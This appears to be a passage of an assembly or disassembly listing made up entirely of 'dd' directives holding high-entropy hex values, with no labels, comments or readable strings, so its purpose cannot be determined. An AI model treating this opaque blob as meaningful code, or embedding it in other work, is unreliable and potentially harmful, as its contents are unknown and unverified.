dd 2C41DC8h, 0BCF081FEh, 0CECD2E2Ch, 8960BE2Ah, 40DB3106h
dd 3C4BD61Dh, 18F02AD0h, 7AF097C6h, 0AC6B4F0Ch, 3E570C43h
dd 113654Dh, 84610CEh, 4140C68h, 0B59366E9h, 99212E03h
dd 0BD009D82h, 0B412554Eh, 67005202h, 7B354D75h, 93F09BAh
dd 8BDD3A5Ah, 8875749Ch, 502790FEh, 0A8562015h, 0D67DF880h
dd 0EC77FAFBh, 77B800F6h, 55A1502h, 0A1247471h, 0C20030CFh
dd 810F2F39h, 11461DE1h, 20D7A7D3h, 0C819762Bh, 4B88079h
dd 551F213h, 0A7AF87BBh, 1BB06BD3h, 97CF6ACAh, 336EE4FEh
dd 0EFEE8005h, 0B3000DCBh, 0C0C3FE45h, 949502EBh, 0D0B10BF4h
dd 8680CB08h, 0DE30B6EBh, 513A8B60h, 0A4ECA1E9h, 0F6DA253Eh
dd 1509BDF9h, 8844F112h, 6C2F1119h, 0B6AA92CEh, 685DF075h
dd 70BC66EAh, 0F52D1A6Eh, 52162AD9h, 4DE59205h, 175026CCh
dd 616A1268h, 635F2876h, 0C22D02D1h, 0E166F67Fh, 4D2D3316h
dd 7A3D2005h, 621CC02Ah, 34C0E36h, 55D41DC6h, 0C10B0724h
dd 553E6258h, 8788C3CCh, 0F79C3108h, 37466884h, 9DC4CEACh
dd 98E2FEF5h, 0AC88FA4Bh, 1C9FF329h, 0A194F4B2h, 5EF76DFh
dd 517E7BB6h, 0AA1A81EFh, 0D815F956h, 2717EBCAh, 0AC2C4996h
dd 787E0068h, 875D2059h, 0E91349CDh, 0E907A7Bh, 4ABC33C8h
dd 0C1BEC270h, 5AD50889h, 22E92D80h, 0EC304A40h, 4DE60B90h
dd 0DF70C6E6h, 33E9E609h, 0D0F4683Bh, 52668089h, 0A0246AC9h
dd 21D36883h, 595B3E49h, 4A43587Fh, 0E773EAA4h, 0DEE5F5E9h
dd 82DE26A5h, 0D2CD4F58h, 8581F46Fh, 0A12B2341h, 6C612B3Ch
dd 0CA2AE451h, 0CE251003h, 6A29FF4Fh, 0C047BEFCh, 0BAA2C5ABh
dd 17CCF42h, 64BA719Dh, 0F2EE52B6h, 0AC680BEBh, 579A1A70h
dd 2FEF2C5Eh, 8F76DFEh, 5682D372h, 67586FE9h, 91F38007h
dd 0C353CBFEh, 0F64AEA20h, 0E15B2729h, 5702382Ah, 7A6412BFh
dd 3A6E401Ch, 16BE3909h, 159CF96h, 0FE6D38BCh, 0E95F001Eh
dd 0D0F09D9Ah, 4FAF094Fh, 0FC8450DCh, 7FDDCD58h, 246BC5D9h
dd 0AEDEE90h, 8872E909h, 37E9795Dh, 167FDB72h, 0D0A6C143h
dd 3E20BC1Bh, 75BFE013h, 33AD8247h, 5DE2D102h, 8832B7E0h
dd 62EB6E40h, 5F290F35h, 592FE17Ch, 0F100E920h, 3BAE2725h
dd 6DEC78C2h, 0FB45C040h, 0AE4B4A5Fh, 0B7238041h, 0D0DB1BEDh
dd 6F5C0174h, 55E20C44h, 7D075347h, 51233273h, 806A5E4h
dd 0E5148B0Ch, 0B9CD2012h, 24A1AA44h, 2FB38E6Bh, 5598DF5Ch
dd 63BA33BAh, 0DFF742B5h, 0F70907D1h, 4E3881DEh, 132E1BE9h
dd 0ABE4BE6Eh, 0A8214AFDh, 94D7B112h, 6BBCB67Bh, 51EA398Ah
dd 92C0E9DCh, 0C9810EC3h, 53258FFh, 0D0DD454Ah, 531804D3h
dd 0D8011F0Ah, 712F0705h, 6C93C20Ch, 0D986BB77h, 9B2F5134h
dd 6B681A5Ch, 165AFDEFh, 6C7E0F00h, 3DF68142h, 0EC8E5B51h
dd 8B987E54h, 8C186A60h, 5787E685h, 0BC5EAF01h, 0D650B2C1h
dd 0A7E78B8Ah, 207ED709h, 0BE44A204h, 0A32D80BBh, 14B63418h
dd 0B929D802h, 961D60Eh, 0CEF961DEh, 69A20FA2h, 3ACF5D7Ch
dd 0BC260A40h, 3E52710Ch, 4B0F2568h, 51C2AEF6h, 0F2E911B9h
dd 96D7056Ah, 0C439E37h, 0EDC9BF0Ch, 0F3C7092Ch, 2CB92D07h
dd 10AE2734h, 5D0507EDh, 8DBFACE9h, 8B57E68Ch, 0ECE657EFh
dd 5A90C25Ch, 0CE502FCh, 0F5732E10h, 1B39D30Eh, 3CE5C0F6h
dd 0C13D787Bh, 182A2E18h, 96BA4005h, 1369245Eh, 0BDB6D20Ch
dd 0ED3D0BC0h, 0B7534AC0h, 0F5A0B4D6h, 5489DDEEh, 0FEAF167Fh
dd 5A00B594h, 23358EB8h, 2EED227Ah, 48BB8B00h, 9775C371h
dd 0E20166D4h, 7B36CDEh, 5F98C140h, 0BC3F4BCDh, 39EEE4CAh
dd 0DCD16AC4h, 6582180Ah, 0D82212F0h, 0A512565Dh, 0E9E166D9h
dd 0F9384DC2h, 0EEEF53D3h, 20E91138h, 0F4BD5FF0h, 779F831Bh
dd 0CCF1793Ch, 28B36B64h, 0B2F5212Dh, 6BC2F7CEh, 0EFBE83F7h
dd 577824DBh, 71DE0427h, 84FBC482h, 0C72F00CBh, 19D262ECh
dd 57619E99h, 496A20E9h, 93DFEFF9h, 0D4EFB40Ch, 1002F818h
dd 6809ABDBh, 425965B9h, 1010388Ch, 0E8799DB8h, 0C4F441Fh
dd 70B9EB58h, 0AF5F5BCEh, 5B9F3057h, 4B5AF712h, 41875086h
dd 0DDB8A251h, 8C1D73FFh, 0C6BD32AFh, 452B7909h, 0FAF8D706h
dd 445B0881h, 8A98828Fh, 0CAC25405h, 505BFF3Dh, 2F265746h
dd 0C2F174FBh, 9A994F3Dh, 76E9C484h, 0A1CE1846h, 60031F13h
dd 50110B55h, 7E1DCF68h, 0F1ED3171h, 0B3F05563h, 53465B76h
dd 0E7F6110h, 7E2E16BFh, 0E1A5D35Eh, 13492B8Bh, 7EC650E1h
dd 0C78D5EC3h, 6DF58B95h, 0F8079348h, 40A74FE7h, 7355C3C9h
dd 0A8DD2F6Bh, 4612A10Ah, 0FC9269F8h, 5251A089h, 0B1F704B2h
dd 0AAD128E1h, 0CD17EEE2h, 77D9BA95h, 0AF33CC2Ah, 0BCA34A4Bh
dd 0BE9DD412h, 9F102EA2h, 0C3EC5B50h, 7922A78h, 17D994B0h
dd 29CC8134h, 1807FEEh, 80051ABAh, 4C0678C1h, 0CE3156F2h
dd 414DDFC8h, 615A65E3h, 29328F46h, 1FEDC7Dh, 79436DF1h
dd 48CEE945h, 1EFE0578h, 8912935Ch, 255C2002h, 0DE2AF7A0h
dd 524F8D59h, 0CC2B17F1h, 5B6166B2h, 3225F671h, 492008FDh
dd 0AE3E4A53h, 124EA4CBh, 0C3A7EF2Eh, 0F908E918h, 354B5D68h
dd 0C57FA227h, 74AA3C79h, 0E86DC33h, 0B99DBE5Bh, 203D8A92h
dd 0A2EF57E2h, 0C629D607h, 8FE45258h, 4F68BD90h, 9FD936Eh
dd 3FA91DBCh, 66DA88D7h, 72BA528Bh, 1D50BF13h, 7AB4CCC0h
dd 92D75EAh, 71F62C3Fh, 0A3F80C05h, 489869DBh, 826754BAh
dd 2DB1785Dh, 0FEA057FCh, 3104F5Fh, 13F04950h, 196BE209h
dd 6079D729h, 4BE7E970h, 6877C87Bh, 5B2A7238h, 296739BBh
dd 4A47C41Fh, 41D52D0Bh, 0A87A054Ch, 0BD681356h, 311766F9h
dd 7431AEB0h, 406B2BAAh, 0A7592348h, 0A8C34E6Ch, 0F8B1971Ch
dd 9F2C0DE9h, 76258DC6h, 76291209h, 895725FCh, 0A1FCD850h
dd 2D41370Dh, 0A22E02C6h, 0CBBF96CDh, 7EC140E2h, 0BF2B5181h
dd 0B82F212Dh, 6818D81Ah, 0E1186469h, 0AB68D572h, 7600CED5h
dd 0D008EEC0h, 3E6828E6h, 0B03AC75Eh, 3E8F314h, 5C05AEB3h
dd 0C628342Ch, 0BBD565FBh, 97803A0Fh, 0E9F09B01h, 0FE505C8Ch
dd 1D7825E3h, 0A4C17B7Ah, 91CB019Ch, 0FC548E08h, 28180AEBh
dd 0EE0C4F1Dh, 0E3F927FBh, 0FF973778h, 1C607C83h, 525AF200h
dd 7EF16856h, 5E6B2875h, 57A30BCBh, 689FA6Fh, 5B4CA778h
dd 0E5C1B09Ch, 0C109B405h, 0F030D279h, 0D4BF5CE9h, 0BB583CAh
dd 0ABD96C9Eh, 0F4B90098h, 126A1E40h, 4905CBC1h, 6CA02BF8h
dd 2A7A94BBh, 0C889501Ch
dd 0F713C296h, 0C5844EAAh, 709D0BE0h, 275FE868h, 213BEC30h
dd 9DC1B713h, 0EBA32B14h, 39E5E463h, 8AF30987h, 0FF398B47h
dd 0E9860915h, 80DF63D0h, 920F3DF4h, 6ED1BD61h, 0DE8D850Bh
dd 755AF394h, 0E9AC14E8h, 0B3F4735Ah, 200498F5h, 0D0B53C9Dh
dd 0A420BDFCh, 25245BC3h, 125E647Bh, 5F9B82C7h, 660BADB4h
dd 5A037B68h, 77534C03h, 50D80B10h, 0F4B55EE5h, 1308ACD6h
dd 6BA387AAh, 5BFD1CB2h, 181DAC7Bh, 0EBC79756h, 0CA102438h
dd 8E3561D3h, 7DC6011Dh, 291C7275h, 1A744FEh, 57685F08h
dd 0BAC34C78h, 0EC446601h, 5AB3E97Fh, 6564FA2Bh, 0D9744A87h
dd 7AAED5D1h, 0B724530Ch, 0E925CF37h, 2A9EC9h, 3EE05FBh
dd 20B06E70h, 5A9B1B54h, 0E0F03177h, 21EB415Fh, 3350BBFEh
dd 37BD0366h, 0E963041Bh, 0A27D4D9Ch, 1FB9E95Ah, 3A49F229h
dd 589C7F9Dh, 16B42EFCh, 76D0BA01h, 0E86F54DCh, 7FF200B8h
dd 5617396Eh, 0A2D65889h, 8B58D63h, 46D482BAh, 71C1351Dh
dd 0C5310211h, 0C0EAEDF0h, 334AEF6Fh, 5B7C5662h, 0A7A0EE2Dh
dd 0D7DBA6E8h, 3190C9ECh, 3DC34134h, 2BE66DC0h, 0B5CBFA28h
dd 9EB8751Eh, 0D35F3058h, 0E9C713EBh, 0A94D7FC6h, 0D36800FEh
dd 5F8862BDh, 6F96D31h, 0E4A16A2Ah, 322EB261h, 4C778960h
dd 3BE91678h, 5E6DBA26h, 5942CB2Bh, 8DBA4A0Bh, 2427EF67h
dd 0EB1A5F5Bh, 5396987Dh, 0BD37BA67h, 2B2A881h, 6E696079h
dd 5D6B5144h, 0D727B549h, 0F2F0E79Ah, 0F97C35Dh, 4B0F780h
dd 0A896CB15h, 5B0506F2h, 100D7219h, 0EE47A180h, 0CDD7C6FFh
dd 0D5EAF25h, 4D129E4h, 0A24EBA0h, 0DDF60BD5h, 2A82B353h
dd 0BBD5041Dh, 1B91D9AAh, 28817465h, 285CB533h, 3A4420DDh
dd 0FD6F5A81h, 2170843Bh, 9007DBA9h, 0B21D8816h, 2749E046h
dd 2578DC47h, 0BDC946BDh, 0D01B450Ah, 63625B68h, 0DA344093h
dd 6EA905A2h, 0A0591108h, 0C53B5210h, 0DEC90264h, 0DE2A1A25h
dd 57C10181h, 3EF1236Bh, 5DE81890h, 0E9531C52h, 0BEBBED75h
dd 0FAF476DAh, 72F35627h, 3FC2C0F6h, 81DCC18h, 6DDC6850h
dd 3F65D76Bh, 0B9682A8Ah, 9B27A740h, 0AD80976Eh, 0F753545Bh
dd 124ADA30h, 4C5E3FEEh, 0C6011555h, 0E939E766h, 0BAC67406h
dd 0B905C209h, 18F7662h, 7E0EBD55h, 9E806F1Eh, 0B2C602Ah
dd 52E4E978h, 0BF889DD9h, 0BAB9015Fh, 2B776650h, 6AC3118Ch
dd 1416042h, 722D70DAh, 0BDDE4255h, 4E086801h, 825A303Eh
dd 62607165h, 12D5D76h, 9D0B068h, 67050375h, 10D73C40h
dd 5D250227h, 0A9A3D1A0h, 0DDA037BBh, 7F3F62C8h, 0A54C2D2Eh
dd 80BAD9E7h, 71676D33h, 0F33881E4h, 6A097BE4h, 56B057E9h
dd 17D780Bh, 4F17A902h, 0D48403E9h, 6D68616Fh, 0C7E3074Bh
dd 0FB6D5EFAh, 8BC3C427h, 30181D2Fh, 48DAC9C3h, 0CBDFBC25h
dd 0CCE90B6Fh, 2E322C8Ch, 37EE4AA1h, 0FC8194EFh, 478F0D57h
dd 0A4EF8924h, 1BB44ABh, 2EAAC2EBh, 0E6EAEF0Eh, 9DFA4DCh
dd 3B3517E5h, 0AF10C27Ch, 0B28B403Ch, 29032947h, 4B516DD6h
dd 0ED55CEF4h, 278CA4F7h, 97229677h, 667411D7h, 7144FB3Ah
dd 8EBA175Fh, 0DEE9826Fh, 178C4C5Ah, 717E8A68h, 0BF9BE992h
dd 2E039527h, 50282EA4h, 32F7EA40h, 47D76ABh, 593AB7CAh
dd 7B8A805Fh, 5A5F3FBFh, 1123DB8h, 0CC2507F1h, 0E9251044h
dd 45C95D93h, 0BDE1DFF2h, 0F991215Fh, 3A843F44h, 136D8BEEh
dd 9A94A035h, 20E7F2FAh, 31490B81h, 44D71FBCh, 740A82DEh
dd 0FC2D5851h, 0EE142F28h, 0C7E3C55Fh, 893C542Eh, 0F985D829h
dd 684B9025h, 28FE70C3h, 8F69C0F6h, 8CF9DF24h, 0D902C348h
dd 0DF78963Bh, 2608C928h, 56AA127Fh, 0BC91645h, 7CCE3373h
dd 0EF2D18C5h, 0A689B9ACh, 95F43D29h, 97270628h, 1795D83Dh
dd 958C709h, 0F171E283h, 74F0D864h, 0AD709BFh, 815F6CBCh
dd 5FBA656Dh, 7760A26Bh, 78512727h, 42C8828Ah, 0E9547D77h
dd 22B70820h, 0C80C13FEh, 5F87EB8Ch, 65F51D28h, 0E946C660h
dd 0A036B025h, 0BE56022Dh, 38611AE0h, 6F48920Ah, 350F77BDh
dd 6101169Eh, 0FC88BB5Dh, 0EA3AF2D1h, 0DE892561h, 0B1C6AD40h
dd 5F1002Ch, 50E96857h, 5F143D85h, 274EFE21h, 0CD3808F3h
dd 954001C6h, 2171555h, 324E685Ch, 59867848h, 0DB702181h
dd 25A1B410h, 9554B45Eh, 40A732DDh, 0B8453A01h, 4F3FB062h
dd 0F0298C0Ch, 5B953C24h, 0E46F500h, 30550AFAh, 623A5D5Bh
dd 29F21B33h, 88299B2h, 0F5EE880Eh, 0DA655F1Dh, 8072EE9h
dd 0E06A8456h, 0DB50F6EBh, 0FB879CCh, 0E3E8F25Ah, 148F01E4h
dd 60539D6Ch, 0DC9100Eh, 7CC7701h, 4E4C3195h, 27E655F2h
dd 6C3DFC2Eh, 2D2F5DA8h, 0D4D9E822h, 0DBF9BF15h, 0B91CFD49h
dd 0E4C8FAA8h, 0A1545180h, 0EB64570Ah, 1CC109B9h, 2F00309Ch
dd 109201F5h, 5EF12113h, 6C7DEA06h, 30EF066Fh, 0F01EE150h
dd 6B162317h, 3150761Dh, 1C4F2109h, 0C51E3A51h, 0D56297E0h
dd 0AC77675Dh, 0DF645A87h, 2148449h, 400E68BBh, 2CCDC3Ah
dd 6E0C5C20h, 6BE8A461h, 0AE5E3FA7h, 0C69122Ah, 624F53DDh
dd 475D53CAh, 297D2F60h, 0EF977ABh, 0D4532012h, 393AA0EEh
dd 669A1463h, 53A60F59h, 1D85A6B7h, 288CBB45h, 36579D57h
dd 9AE918E9h, 0D6F63249h, 5AEE801Bh, 0F5088106h, 0DFC5FED8h
dd 0FAB87B04h, 5210A958h, 5E565076h, 0DA4AF6B5h, 52D7F657h
dd 1302EC77h, 0AA208AE9h, 7D291272h, 38980372h, 7E0105EBh
dd 3D4C64BEh, 3480F838h, 58C60890h, 0F44C509Dh, 8DCE5028h
dd 0A7A825E9h, 0A7BCB8D1h, 0A307F2B6h, 61FD9A98h, 916F7C83h
dd 2324BF73h, 3B754FBh, 2D81B05Ch, 0C1CD7E99h, 7069868h
dd 0F5E05BE5h, 49C3132Dh, 352AFE7h, 1C0C38AEh, 78723A80h
dd 45B48D1h, 7205A9E0h, 9C12B58h, 57ED22ADh, 2C645880h
dd 0E918620Dh, 5A74A9E4h, 0D0D99755h, 0D1447D5Ah, 20741D2Fh
dd 3F0CDC47h, 1129022h, 0B394DFCCh, 0F977E405h, 0AAA17B42h
dd 0F6E90701h, 5494D37Eh, 2355B1B9h, 0CAEA4A91h, 0D8AB2596h
dd 0CE9E975Ah, 0D74E0F98h, 0BA419B8h, 0EC0028CBh, 331E055Eh
dd 1C807A62h, 163B5F8Fh, 2D720ED9h, 44E677B4h, 4473D1B5h
dd 4EA9FC30h, 545ADEC2h, 25FDC290h, 29DFC0Bh, 496D5CA9h
dd 982A705h, 74968A7Eh, 9674F80Ah, 0FA096802h, 0DCE2610Dh
dd 0EC4AEB64h, 342B4C18h, 29FA0CD3h, 6403B213h, 0F280DAF6h
dd 3CD2AB10h, 0E219670Ah, 760C09h, 61EAC0ACh, 36E92C04h
dd 0E4B9552Ah, 8041BD54h, 77E10D47h, 0B42B3715h, 98780FCDh
dd 0C1E4EF7Eh, 2F833613h, 0A131480Fh, 0D7016FAFh, 0D0081CA0h
dd 5A25141Ch, 9374B3FDh, 0E6EE844Ch, 0E8876FEFh, 0C2010B23h
dd 0EFC79D04h, 11E8C631h, 6864212Ah, 268D7BA7h, 91436BE0h
dd 20EA6B4h, 1F55268Eh, 0AD28DC57h, 752710DCh, 5AD5D400h
dd 0ED748058h, 0FA406CEh, 0B0C50EDDh, 935E9E7Fh, 56A409Dh
dd 0DC4ED134h, 9F2D50BDh, 0A924A971h, 813C583Fh, 72D437C1h
dd 4671E62Eh, 73E90C86h, 1D66B023h, 2445F668h, 74ABC1Dh
dd 0E616AA6Dh, 0C568105Dh, 65108A0Eh, 0E15ED158h, 29AA3A77h
dd 71B46BB7h, 0F799AA4Fh, 87C16443h, 0F3CCE368h, 6CAE4ACCh
dd 6B26E9EDh, 888E65B5h, 0FDF449EEh, 0B4AC066Eh, 801960B7h
dd 205217F4h, 208999E5h, 883062FBh, 96E93BEAh, 0B760C0CAh
dd 66F9208Ch, 28E9195h, 5CAAA02Ah, 7C817D40h, 762D71E2h
dd 7FEA3863h, 0BE210513h
dd 216F2299h, 6E8947D6h, 11646261h, 0A7C28100h, 6909F819h
dd 0E6111262h, 210C30D0h, 0AAB29FF6h, 0AE27B905h, 13BAAC17h
dd 77E6C139h, 517DC25Bh, 3594EB06h, 14E92Dh, 20DEBB82h
dd 0B16E4EB1h, 84A1306Ah, 0BCB7C82Eh, 0E9B02D28h, 0C295F060h
dd 5A19E8F2h, 938EAC0Dh, 5BB682EEh, 76C68EAh, 1B59C7F2h
dd 30D0377Bh, 0B6E3DF9Bh, 0AD133DF1h, 26D6E558h, 0BFD1E5E4h
dd 0E0EDBD29h, 0BFA1172Eh, 0BE2FA27Dh, 0F75BFB3Ch, 0FB684284h
dd 0F261EA40h, 3D2F8A78h, 5063FC41h, 14EA6997h, 9F2D2434h
dd 84202E56h, 8225C09Ch, 4755ADBh, 308BFC5Eh, 6CB7A351h
dd 0C41E4ECEh, 0B20712CFh, 0FAFC438h, 19F1FB90h, 0A545E5EBh
dd 11E52FBh, 434A57EBh, 0A86A036Dh, 5EE97D6Ch, 59BF02A4h
dd 3257CD31h, 2CB9F0D6h, 92F47BE9h, 0E6AD0753h, 0C2F53751h
dd 24FEEBF0h, 5A390C63h, 0AA2AB091h, 0E34B7BF9h, 88885EA1h
dd 0C7B64258h, 3E060AE8h, 14F248AFh, 224807EDh, 19643F25h
dd 84BE1FF0h, 0C5BBC796h, 54918214h, 7D680D00h, 6E16489Ah
dd 3712D504h, 7BD0FA3Fh, 509862EDh, 14F68641h, 0AB601D74h
dd 7B6F147Fh, 187A8C59h, 18369410h, 9E262A7Fh, 0F90FCF28h
dd 0E98821C6h, 5A0291D0h, 54C2E0FEh, 9FCE7729h, 3E9AC8h
dd 27685650h, 5EEA1032h, 0C35E5DFAh, 7225F8B2h, 9DC2B648h
dd 1BF51517h, 5DA97707h, 2713133Fh, 7DB72205h, 78105FBh
dd 8909C1A0h, 22FA2AF7h, 8F5EE116h, 580BE72Ch, 8BDC5160h
dd 385947D3h, 0EB52AE93h, 9934B7BEh, 892EAA66h, 0D4B29782h
dd 0E6FE7E65h, 0DA341048h, 413B3C62h, 80911C57h, 274B5696h
dd 43A840C0h, 8CFC2708h, 9089D527h, 88C2FFFh, 3431114Ch
dd 3380EFE7h, 5C5747C4h, 0BB028311h, 3DBA321Fh, 524B7C55h
dd 5D49FE74h, 0E9612871h, 0F1A5DF90h, 539388D4h, 0EAB365AEh
dd 0D8ACDE82h, 1EF7951Fh, 86C2F2BDh, 4BC0A644h, 18C0BBECh
dd 80FC28C5h, 0E54BCEE9h, 0EFB09CAEh, 0D7990548h, 17E61D46h
dd 294B016h, 0EA80C2FEh, 0C17628D4h, 16C3F15Bh, 1E610B3Ah
dd 62902C70h, 1B2AA82Ch, 266A9D82h, 5F05CA72h, 0B20A4FCh
dd 8931E925h, 28D25BBAh, 2531B4FAh, 8B6A475Dh, 2ED93FC1h
dd 770E5289h, 12BD0B79h, 0E2BF649Eh, 79EBD3E5h, 0C765AC12h
dd 0A240AE10h, 2F88419Fh, 0D3CCCAFCh, 0C45E9E2Bh, 97BD49DCh
dd 0FCE9F048h, 21EFDD4Eh, 46A3453h, 40B915E0h, 557E5D0Eh
dd 1D359524h, 3265EF9Eh, 8907711Fh, 81186C56h, 7A5B8E68h
dd 692FC8B3h, 0F1A9F58Fh, 38E6E677h, 0FF4E203Dh, 625EA8CBh
dd 9D55D72h, 0C2AE5E36h, 947DA6ABh, 3C302015h, 87D7F700h
dd 72CE81FEh, 65B03F56h, 0EB3EFD92h, 0D501B631h, 774A8B7Ah
dd 4599DC9h, 0EE169298h, 55A26209h, 544554E5h, 0E91721A9h
dd 88E9C1DEh, 0C4509DCAh, 5B70A82Dh, 5A439219h, 0B403DFD8h
dd 61085A0h, 0EE17C14Eh, 0D5FA053Eh, 63EF024Bh, 0A1634B1Dh
dd 0E61794F8h, 0DBD16139h, 0CCAA5A04h, 316863CCh, 9DDF5387h
dd 0D14D807Fh, 0C158F181h, 59D77DDCh, 0BF02FC4Bh, 3107EE06h
dd 9BAF6377h, 0DEEDF9F3h, 0E2CDFF81h, 0D8697430h, 701635F5h
dd 70090811h, 131804C6h, 2399D1FFh, 0CC778949h, 60817C0Bh
dd 4E6A4248h, 40DF40BFh, 4BF938E9h, 0FD39AE5Ah, 977CB2Fh
dd 0E695FAE9h, 225F9704h, 90D955A0h, 0A69E7D6h, 0F7011FECh
dd 0C00820D8h, 55E781Ch, 0A95DE979h, 3F5A2C5Ch, 1F4C2E08h
dd 0C70654C1h, 45497205h, 74378260h, 0DED58802h, 0D8BE3A21h
dd 0E4205016h, 3002F5C1h, 0B1685BDAh, 0D37D4612h, 0B78B0B34h
dd 0C5021AABh, 9DC003C4h, 0FC826721h, 0ED3E89B6h, 7669E932h
dd 2D722463h, 28AFEF09h, 908A7DB5h, 8F824B3Fh, 0F975D121h
dd 96681FB4h, 8A38AF1Fh, 0E85B4FDEh, 8010F4C0h, 602F27E0h
dd 13ABBD98h, 0EF5BAC45h, 53EFD1C0h, 28762A09h, 8C750B0h
dd 841D9B5Eh, 0BBA1C2E9h, 528564A8h, 0F9F1AFBAh, 32CAC6Eh
dd 666CB8C6h, 0E99A0B4Eh, 0B9103EAFh, 0F582C8A4h, 56B5B0D0h
dd 98057B95h, 6C63DC5h, 5D1C9018h, 0C090361h, 845AAA05h
dd 81BE50FFh, 0A2ABBD38h, 12ECA38Dh, 480CBE9h, 0F72B151h
dd 0C03AC980h, 688AC092h, 1B31440h, 9DE09C1Fh, 0B787B7E9h
dd 0F58BA622h, 90758862h, 818502CDh, 0A0C83F88h, 415E4E89h
dd 1203B760h, 7B57B29h, 0B0C0806h, 2276601Fh, 0B52F83D2h
dd 0A8FFF137h, 251CBE8Eh, 276FBC5Fh, 0CC042BE9h, 9228B256h
dd 4B1A62EFh, 0C5813874h, 593E3B47h, 0DF25F428h, 0D6A7CC2h
dd 42EE53DDh, 0EB781BE9h, 3FCEB905h, 27AC6C27h, 24DECA4h
dd 1718417Eh, 0F9E0805Bh, 17631056h, 27873FE9h, 0F24FE027h
dd 0E84C8365h, 737C2596h, 0A9040897h, 5DF94F16h, 0D26C7E1Dh
dd 14F094Ch, 85B9F3D6h, 0B1E96F35h, 84EF82D5h, 0C3CBE809h
dd 0E9F6B951h, 0AF3B48A6h, 53263900h, 0F02579C3h, 6360012Fh
dd 0C5503B0Dh, 2AE8FF46h, 2175FBA8h, 62A8585Ah, 51495A3Eh
dd 7327CE01h, 30462693h, 50073FE3h, 11E90C78h, 64317FF9h
dd 0ADCCCE82h, 0D772E425h, 0BB72EA16h, 47454A13h, 0C1506AE0h
dd 0F65608B8h, 15EF6048h, 0D73CB66Eh, 0F78134B2h, 6865E9D6h
dd 0D4BE004Eh, 8157B03Dh, 38A800F6h, 0F0295A6Ah, 35BE62E9h
dd 64D3040Bh, 0B46E90FEh, 0C75D2525h, 645525D9h, 2F52416Dh
dd 47685E05h, 0BBB544EBh, 20410E86h, 1E7DBF57h, 816B0E14h
dd 9DFC93CFh, 0C0F7814Bh, 8322B209h, 0A2346118h, 0A0C0B36h
dd 5000AD4Fh, 1340D6C7h, 78304D61h, 576A2B33h, 0BEAE8481h
dd 52324F12h, 6E895D72h, 626879DFh, 14F70868h, 69144231h
dd 0DE44FF1Fh, 0D9685200h, 0E9419866h, 0E3EB5BE8h, 24E94A9Ch
dd 0A8251917h, 0ED85E14Fh, 386B366Ah, 0FFA754CBh, 0DEE3041Bh
dd 0E743F2F2h, 7B7BE4E5h, 58475062h, 0E72F308h, 0AB166A91h
dd 0E909D39Ah, 562D195Eh, 0A4BC2E64h, 6E33754Ch, 0F0B1464Eh
dd 0FE0C818Eh, 0C1C580CDh, 0FA6BF5CCh, 16329EA1h, 6B12EE29h
dd 8230F6AEh, 79052B68h, 0CDE9E264h, 16F48C6Ah, 44945725h
dd 68054DBCh, 99AC528Ch, 0ED2A8BC4h, 0A7D618B2h, 3D432D47h
dd 0E4CF7C78h, 106101DCh, 19126829h, 985F9230h, 3F1F0031h
dd 3540419Ch, 3801470Ah, 90092D69h, 1D64C2E1h, 5FFD2E89h
dd 29800288h, 0DAFD366Ch, 6A600FAFh, 0DA8F6277h, 0C108E81Eh
dd 0E828B31Ch, 7718AF5Ch, 0A2713209h, 0A072C62h, 756E0163h
dd 0F15018EAh, 73276C78h, 35034309h, 0DFD8474h, 487CAC92h
dd 825998B5h, 5E44E0F4h, 0DC1855F8h, 58686241h, 43D81B4Bh
dd 1D9855h, 452D7CC3h, 0E9F799BDh, 8EBC904Fh, 46A2680Bh
dd 9F6AB455h, 0FF7242F6h, 0AA826951h, 5D320807h, 0DF2AAE8h
dd 19432C02h, 0D527E5E9h, 449089CEh, 4268F00Bh, 10E35775h
dd 0A0E0387Bh, 0D99D787Eh, 0D4D42F6Ah, 70A16858h, 1C77955Bh
dd 0B204A1E5h, 4C33413Fh, 7F4E853Ch, 816E794h, 36D539CDh
dd 0E9750502h, 26EC5625h, 9FDC96E7h, 0BA052095h, 10394A18h
dd 38C2EBE0h, 1D845A74h, 0A96512E9h, 5EAB0997h, 5FE0ABB0h
dd 82E0483h, 0EB873798h, 8D5F736h, 52890CA0h, 1A0C6E45h
dd 8C31513Eh, 0E32C49E9h, 9A5DEEFEh, 0E1594F58h, 3AB646Eh
dd 0C0C8935Bh, 7D71BD51h, 5A320562h, 56EEC5D2h, 40AA3954h
dd 0BF31C292h, 1AE92F18h, 53DE68CBh, 0B21FB50Ah, 0BD2C84Fh
dd 1E0A5627h, 0CEAC4951h
dd 3F450E5Ch, 2D7CD6ECh, 0FCDE05B3h, 0B52D5CE0h, 54722508h
dd 782F878h, 30C15580h, 0DA943C58h, 86E18100h, 0F07E341Fh
dd 0EC1841D4h, 214C13EDh, 220C67A2h, 7F60C9F2h, 16429860h
dd 0BF766EBDh, 6F2AD37Ah, 0D19F6712h, 0EA9EBC0Bh, 845AECE9h
dd 0EFF02858h, 0EDD751CBh, 8C998432h, 54E1F6CDh, 0C174EAE6h
dd 0CB4BF4Ch, 0F244C242h, 4461FC55h, 2AEFA51Dh, 2E0521E8h
dd 6DEB36h, 0BE629CCFh, 0C1174069h, 81EB05E8h, 3E1DD3E1h
dd 0A86BF9CDh, 75F65A3Bh, 0A2494858h, 9A00CC5Fh, 2D94413h
dd 0C32A81AEh, 4613A6A0h, 64C4512Dh, 0DCE0FEC3h, 9F7FEA68h
dd 6E414918h, 8F80B84Eh, 4ED5646Fh, 8C8CB173h, 0BDFF707h
dd 98BA0252h, 0D142EF26h, 0ECBD5360h, 593C2000h, 4ECBCD81h
dd 0E10D5EB7h, 88F4F7B9h, 5F4AFA7Fh, 6E0E48AAh, 5AB7C620h
dd 0AF5B5A93h, 50CA7C09h, 0AF5C4BFCh, 7D46FD62h, 0EF75060Bh
dd 0B7532FF2h, 2FCE5C27h, 8170EE76h, 46D995EFh, 5B6C053Bh
dd 5EC40DC5h, 2D589AFDh, 0E794EA20h, 0D2085317h, 0CD702FE0h
dd 896E59BDh, 2E162948h, 1EA06120h, 15C8215Eh, 0CA5A81B5h
dd 0CA680999h, 0C0761A33h, 2C280BC1h, 1A407BF3h, 0A92B0D0Fh
dd 6F17C2D7h, 2AF62CEFh, 2F51B797h, 48EA8085h, 668002AFh
dd 9760A868h, 0C69F27B7h, 981A2024h, 0BBA50FCh, 3958710Ch
dd 9ACC2E40h, 0BDB96952h, 60172054h, 9A207664h, 0EE5890BBh
dd 0F7E91226h, 0B6A061C1h, 103339F9h, 5E2AC2A3h, 736818EFh
dd 9E035D47h, 1209BF80h, 1354237Eh, 31E2A14Bh, 4F403061h
